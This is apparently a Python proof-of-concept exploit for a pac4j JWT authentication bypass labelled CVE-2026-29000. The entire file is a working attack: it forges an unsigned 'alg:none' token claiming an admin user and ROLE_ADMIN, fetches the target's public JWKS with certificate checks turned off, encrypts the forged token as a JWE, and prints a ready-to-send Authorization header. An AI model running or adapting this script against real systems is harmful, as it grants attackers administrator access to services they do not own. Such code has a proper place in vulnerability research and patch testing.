#!/usr/bin/env python3 """ PoC for CVE-2026-29000 - pac4j JWT Authentication Bypass Automatically fetches the server's public key and creates a forged admin token """ import sys import json import time import base64 import requests import argparse from jwcrypto import jwk, jwe from jwcrypto.common import json_encode def b64url_encode(data): if isinstance(data, str): data = data.encode() return base64.urlsafe_b64encode(data).rstrip(b'=').decode() def create_none_alg_jwt(username="admin", role="ROLE_ADMIN"): header = {"alg": "none", "type": "JWT"} now = int(time.time()) payload = { "sub": username, "role": role, "iss": "principal-platform", "iat": now, "exp": now + 3600 } header_b64 = b64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':'))) plain_jwt = f"{header_b64}.{payload_b64}." print(f"[*] Plain JWT (alg:none):\n {plain_jwt}\n") return plain_jwt def fetch_jwks(base_url): endpoints = ["/.well-known/jwks.json", "/api/auth/jwks"] for ep in endpoints: url = base_url.rstrip('/') + ep try: r = requests.get(url, timeout=10, verify=False) if r.status_code == 200: data = r.json() print(f"[+] JWKS fetched from: {url}") print(f" Keys found: {len(data.get('keys', []))}") return data else: print(f"[-] {url} → HTTP {r.status_code}") except Exception as ex: print(f"[-] {url} → {ex}") return None def encrypt_jwt_as_jwe(plain_jwt, jwks_data): raw_key = jwks_data["keys"][0] print(f"[*] Using key: kid={raw_key.get('kid', '')}, kty={raw_key.get('kty')}") pub_key = jwk.JWK(**raw_key) protected_header = { "alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": raw_key.get("kid", "enc-key-1"), "cty": "JWT" } token = jwe.JWE( plaintext=plain_jwt.encode(), protected=json_encode(protected_header) ) token.add_recipient(pub_key) jwe_token = token.serialize(compact=True) print(f"[+] JWE token:\n {jwe_token}\n") return jwe_token def main(): parser = argparse.ArgumentParser(description="CVE-2026-29000 PoC - pac4j alg:none bypass") parser.add_argument("url", help="Target base URL, e.g. http://10.10.11.x:8080") parser.add_argument("--username", default="admin") parser.add_argument("--role", default="ROLE_ADMIN") parser.add_argument("--jwk", metavar="JSON", help='JWKS JSON string, e.g. \'{"keys":[{...}]}\'. ' 'Skips live fetch when provided.') args = parser.parse_args() requests.packages.urllib3.disable_warnings() print("=" * 60) print(" pac4j JWT Authentication Bypass PoC") print("=" * 60) # Step 1 – build the unsigned JWT plain_jwt = create_none_alg_jwt(args.username, args.role) # Step 2 – resolve JWKS: CLI arg takes priority, otherwise fetch live if args.jwk: try: jwks = json.loads(args.jwk) print(f"[*] Using supplied JWK (kid={jwks['keys'][0].get('kid')})\n") except (json.JSONDecodeError, KeyError) as e: print(f"[!] Invalid --jwk value: {e}") sys.exit(1) else: jwks = fetch_jwks(args.url) if jwks is None: print("[!] Could not retrieve JWKS from either endpoint.") print(" Supply one manually with --jwk '{\"keys\":[{...}]}'") sys.exit(1) # Step 3 – wrap the plain JWT inside a JWE jwe_token = encrypt_jwt_as_jwe(plain_jwt, jwks) print(f"Authorization: Bearer {jwe_token}") if __name__ == "__main__": main()